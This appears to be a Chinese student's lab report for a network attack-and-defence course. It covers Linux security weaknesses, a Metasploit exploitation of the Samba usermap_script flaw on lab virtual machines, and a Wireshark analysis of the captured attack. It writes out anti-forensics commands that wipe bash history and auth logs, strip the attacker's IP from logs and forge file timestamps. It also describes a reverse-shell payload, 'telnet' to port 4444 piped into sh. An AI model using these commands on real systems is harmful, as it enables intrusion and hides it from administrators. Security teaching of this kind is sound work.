20212907 2021-2022-2 《网络攻防实践》实践七报告
一.实践内容
(1)Linux操作系统安全机制
Linux操作系统的核心安全机制主要是身份认证、 授权 与访问控制、 安全审计这三个部分.
- Linux系统的用户帐号
用户帐号是用户的身份标志,由用户名和口令组成。用户名存放在/etc/passwd文件 中,口令以加密的形式存放在/etc/shadow文件中。在正常情况下,这些口令和其他信息 由操作系统保护,能够对其进行访问的只能是超级用户(root)和操作系统的一些应用程 序。但是如果配置不当或在一些系统运行出错的情况下,这些信息很可能被非法用户得 到,带来安全隐患。 - Linux的文件系统权限
Linux文件系统的安全如同其它系统一样主要是通过设置文件的权限来实现的。每一个Linux的文件或目录,都有3组属性,分别定义文件或目录的所有者,用户组和其他人的使用权限,主要有只读,可写,可执行,允许SUID,允许SGID等。在这里我们需要注意,权限为SUlD和SGID的可执行文件,在程序运行过程中,会给进程赋予所有者的权限,非法用户很容易发现这种情况,如果加以利用就会给系统造成极大危害。 - Linux的系统日志文件
Linux的日志文件用来记录整个操作系统使用状况。几个重要的系统日志文件:
a. /var/log/1astlog文件。此文件中记录最后登录系统的用户登录时间,是否登录成功等信息。管理员登录后可以用lastlog命令查看文件中记录的所用帐号的最后登录时问,再与自己的用机记录对比一下就可以发现该帐弓是否被非法用户盗用。
b. /var/log/secure文件。记录系统自开通以来所有用户的登录时间和地点,可以给系统管理员提供更多的参考。
c. /var/log/wtmp文件。此文件可以用last命令查看历史上登录到系统的用户的登录时间和注销时间等信息,删除这个文件可以清除系统登录信息,然后系统会生成新的登录信息。
(2)Linux系统安全漏洞介绍
- 口令和帐号安全漏洞
非法用户往往通过破解帐号口令来进行系统的攻击,植入木马程序来达到目的。 - 端口漏洞
非法用户通过探测工具扫描到利于自己攻击的端口后进行相应的破解,达到攻击目的。比如Web端口80,ftp端口,snmp端口,sendmail端口等。 - Sendmail
Sendmail作为邮件传输代理,它的广泛使用意味着老版本或者未打补丁的版本中已知的安全漏洞将成为非法用户们的共同目标。 - 明文服务
Sniffer攻击是最常见的攻击,Sniffer程序是一种利用以太网的特性把网络适配卡置为杂乱模式状态的工具,一旦网卡设置为这种模式,它就能接收传输在网络上的每一个信息包。而事实上许多Linux服务,如FTP对于会话的任何部分,即使是登录信息也不加密,这使得这种常见攻击实施起来更容易。Tcpdump程序将显示所有的明文传输过程,非法用户能够使用这个工具来查看安全漏洞。TcpDump是Linux中强大的网络数据采集分析工具之一。用简单的话来定义tcpdump,就是:dump the traffic on a network,根据使用者的定义对网络上的数据包进行截获的包分析工具。 - 简单网络管理协议(SNMP)
SNMP开发于九十年代早期,其目的是简化大型网络中设备的管理和数据的获取。攻击者通过SNMP一旦捕获了网络通信,就可以利用各种嗅探工具直接获取通信字符串,来达到获取重要信息的目的。
(3)针对Linux系统的攻击方式
- 暴力破解
暴力破解在这里主要是针对Linux系统的账号和口令进行离线攻击或在线攻击。
所谓的离线攻击是指攻击者拿到了口令文件,也就是/etc/passwd和/etc/shadow文件,在攻击者本地进行破解。而在线攻击是指攻击者远程对Linux系统的服务如ssh、telnet等进行口令破解,不断地尝试登录,根据服务器返回的信息来判断正在尝试的口令是否正确。 - 服务漏洞
Linux系统中可能部署了各种服务,如果软件存在漏洞或者服务存在错误的配置,则很可能被攻击者利用。 - 权限提升
权限提升的方法很多,主要有四种方法:内核漏洞提权、sudo提权、suid提权和capabilities提权。提权的主要目的是实现对目标系统更大程度的控制,提权所使用的技术也可以作为后门来使用。 - 文件传输
比如将文件上传到目标Linux,从目标Linux系统下载文件 - 木马后门
后门的种类很多,例如下面这些:uid为0的账户;crontab后门;ssh证书后门;ssh服务后门;ssh客户端后门;systemd服务后门。 - rootkit
rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit和木马、后门等其他恶意程序结合使用。也就是说,用rootkit去隐藏木马所使用的文件、进程、网络连接等。 - 端口转发和socks代理
攻击者入侵linux系统后,可通过修改路由表、设置iptables、部署端口转发和socks代理软件等方式,将被入侵系统作为跳板,进一步入侵目标系统所在内网的其它机器。 - 隐蔽信道
网络协议信息隐藏(协议隐写)是一种利用数据包作为掩护载体,将秘密信息隐匿在网络协议的数据包之中的信息隐藏技术,它可以通过网络协议数据包中的保留、可选、未定义等字段和数据包的顺序、数量、到达时间、特定时间流量以及其它可被利用的特征,在网络中不同的主机之间建立隐蔽信道。 - 物理攻击
例如在CentOS 7系统中,如果能够以物理方式访问服务器,则可以通过下面的方法获得root权限:
//物理方式关闭服务器,之后打开电源,进入内核选择界面等。 - 痕迹清理
-
清除命令历史
//清空用户的命令历史文件
echo > ~user1/.bash_history
//清空内存中的历史列表
history -c
//保留前150行
sed -i '150,$d' .bash_history -
删除访问日志
//清空ssh登录成功和失败的日志
echo > /var/log/secure
//清除含有自己IP地址的日志
sed -i '/192.168.242.1/d' /var/log/secure -
修改文件时间
//修改创建时间和访问时间
touch -d "2019-01-01 08:10:30" /path/to/malware
//复制正常文件的时间属性给攻击者部署的恶意文件
touch -r /etc/yum.conf /path/to/malware -
彻底删除文件
a. wipe
wipe -rfi private/*
-r:递归删除,-f:强制删除并禁用确认查询,-i:显示擦除进度
b.shred
find ./dir-name -type f -exec shred -zvu -n 3 {} ;
-z:用0覆盖,-v:显示操作进度,-u:覆盖后截断文件并删除
-n:指定覆盖文件内容的次数,默认3次
Linux系统中使用rm命令删除的只是文件的硬链接,文件的内容还存放在文件系统中,使用数据恢复软件就可以将文件恢复出来。攻击者需要使用特定的安全删除软件来彻底地删除文件。这些安全删除软件用0或者随机数字反复多次地覆盖被删除文件所占用的磁盘区域,从而使该文件无法被恢复。
(4)Linux系统远程攻防技术
-
Linux远程口令字猜测攻击:攻击者通过网络协议远程猜测成功一组用户名和口令, 用这些信息远程登录到Linux系统上, 获得本地的访问权。攻击者自动化的口令猜测工具很多,有brutus,THC Hydra,Cain and Abel等。
-
防御远程口令猜测技术:确保每个用户都有自己的有效账户和口令字,而不是使用一个账户。特权账户应避免远程直接登录,只能在本地登录。口令长度至少达到8位,包含字母、数字和标点符号。对多次认证失败进行纪录,并在多次无效登录之后断掉连接。不要再自己登录的所有系统上都使用相同的口令。最好不用口令字,而使用基于公开密钥证书的身份认证机制。
-
linux网络服务远程渗透攻击:系统远程渗透最重要的攻击渠道————对监听网络服务安全漏洞的渗透利用。截至2011Linux系统常见网络服务的安全漏洞及渗透攻击代码。
-
Linux内核中的网络协议栈攻击:CVE-2010-4161,攻击者通过向目标系统任意开放的UDP端口发送—个特殊构造的UDP数据包, 就可以直接将系统宕机,造成目标系统的拒绝服务攻击。
LAMP WEB网站中FTP、Samba等文件共享服务。
电子邮件收发服务:Sendmail 服务一直以来都是包括 Linux 在内的类 UNIX 系统上最流行的电了邮件收发服务, 也是备受争议的不安全的知名网络服务之一。 -
网络服务远程渗透攻击的安全防范措施
禁用不必要的网络服务;
尽量选择更安全的网络协议和服务软件;
及时更新网络服务版本;
使用防火墙为Linux网络服务添加网络访问控制;
建立入侵检测与应急响应计划流程. -
攻击Linux路由器与防火墙:linux作为路由器或者开启混杂模式的时候,如果实现路由寻址和数据包转发功能的程序存在漏洞,很可能遭受构造数据包攻击。
-
攻击监听器及入侵检测器:监听主要的软件snort、wireshark。
-
针对路由器与监听器攻击的安全防范措施:网络与安全设备自身的安全性与可用性非常重要,对于维护网络中的设备,应及时关注厂商的安全威胁报告,并对已发现的安全问题进行修补。网络管理员在构建网络安全防御、检测与相应体系时,应站在攻击者角度,掌握攻击者的渗透入侵技术手段,
(5) Linux系统本地安全攻防技术
-
Linux本地特权提升:最简单的特权提升途径就是能够破解出Root 用户的口令,然后执行su 或sudo命令进行提升。或者是发掘并利用 su或sudo程序中的安全漏洞。目前最为流行的途径是直接攻击那些具有Root特权程序中的任意代码执行漏洞,让它们替攻击者打开具有Root权限的Shell命令行连接,这类途径又分为攻击用户态SUID特权提升漏洞以及攻击Linux内核代码特权提升漏洞最后一种本地特权提升技术则利用了系统中的一些配置不当,通过从系统中搜索全局可写的敏感文件与目录位置并加以利用。
a.Linux口令字破解:通过/etc/shadow文件中纪录的口令的hash值,获取口令的加密值,后通过已知密文暴力猜测明文。
b.sudo缺陷进行特权提升:通过sudo程序的漏洞,绕过程序的身份认证机制,获取权限
利用用户态SUID程序:主要包括利用程序漏洞进行特权提升、本地缓冲区溢出攻击、符号连接攻击、c.竞争条件攻击、共享函数库攻击等
-
本地特权提升的防范措施:
安装软件时评估风险;
Linux服务器的管理员安全配置系统;
使用SELinux等安全增强模块。 -
Linux系统上的痕迹消除
通过对message、auth、secure和xferlog等日志文件进行修改做到日志的清理;
通过对.bahs_history文件的清理,清理shell的命令痕迹;
Linux系统上植入远程控制后门程序的类型主要有:特洛伊木马化系统程序、命令行后门工具以及图形化后门工具。
二.实践过程
(1)使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。
-
实验环境:
kali(攻击机):192.168.1.110
MetasploitableUbuntu(靶机):192.168.1.111
攻击目标漏洞为Samba服务usermap_script安全漏洞。为确保两部机子在局域网状态,将两者适配器调整为桥接模式。 -
检查是否ping通
-
kali输入sudo msfconsole命令进入操作台
-
通过search usermap_script查找漏洞信息,再通过use exploit/multi/samba/usermap_script使用相关攻击脚本,然后使用show payloads查看payload类型。
-
使用set payload cmd/unix/reverse选择攻击PAYLOAD。输入set LHOST 192.168.1.110设置攻击机为kali,输入set RHOST 192.168.1.111设置靶机为Metasploitable_ubuntu
-
输入show options查看是否配置成功
-
使用exploit进行攻击
-
输入ifconfig查看靶机IP与真实IP相同,说明渗透攻击成功。再输入whoami查看获得权限为root
(2)实践作业:攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
-
set LHOST 192.168.1.110设置攻击机IP,输入set RHOST 192.168.1.111设置靶机IP,输入show options查看是否配置成功(与前述过程相同)
-
使用wireshark抓包分析
-
对刚开始建立TCP三次握手过程中提出连接请求的数据包中分析,可以看到,攻击者的IP:192.168.1.110,端口:43087;靶机的IP:192.168.1.111,端口:139。
查询可知端口139是Unix中的Samba服务端口,由此可得攻击者利用了Samba服务漏洞进行攻击。
-
查看TCP建立连接时间,2022年5月1日17:26:02
-
过滤IP后找到第一个SMB数据包,追踪TCP数据流,找到shellcode,如图,nohup是no hang up的缩写,意为“不挂断”,作用是可以使命一直执行下去,而和用户终端无关;telnet 192.168.1.110 4444表明数据是通过4444号通信端口管控传入攻击机的;sh是linux中运行shell的命令,是shell的解释器。
-
通过进一步的tcp流分析,我们可以看到成功之后在本地执行命令的信息
三.学习中遇到的问题及解决
-
问题1:exploit的时候,出现Handler failed to bind to 192.168.1.100:7777:- ,老是失败。
-
问题1解决方案: 后来发现是设置LHOST的时候把kali的ip输错了。
-
问题2:开始查看ip的时候,发现ubuntu的ip地址是固定的,用桥接模式没法ping通
-
问题2解决方案:上网查看设置ip的方法,修改完成。
四.实践总结
这次实验的流程较为简单,但是通过实践学习了linux系统的远程渗透攻击,与windows系统不同,两种系统的攻击方式也有所区别,在学习与实践过程应该加以区分。
另外就是对于实践命令的一些细节一定要把握到位,不然一粗心可能需要很久才能排查出错误。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 【自荐】一款简洁、开源的在线白板工具 Drawnix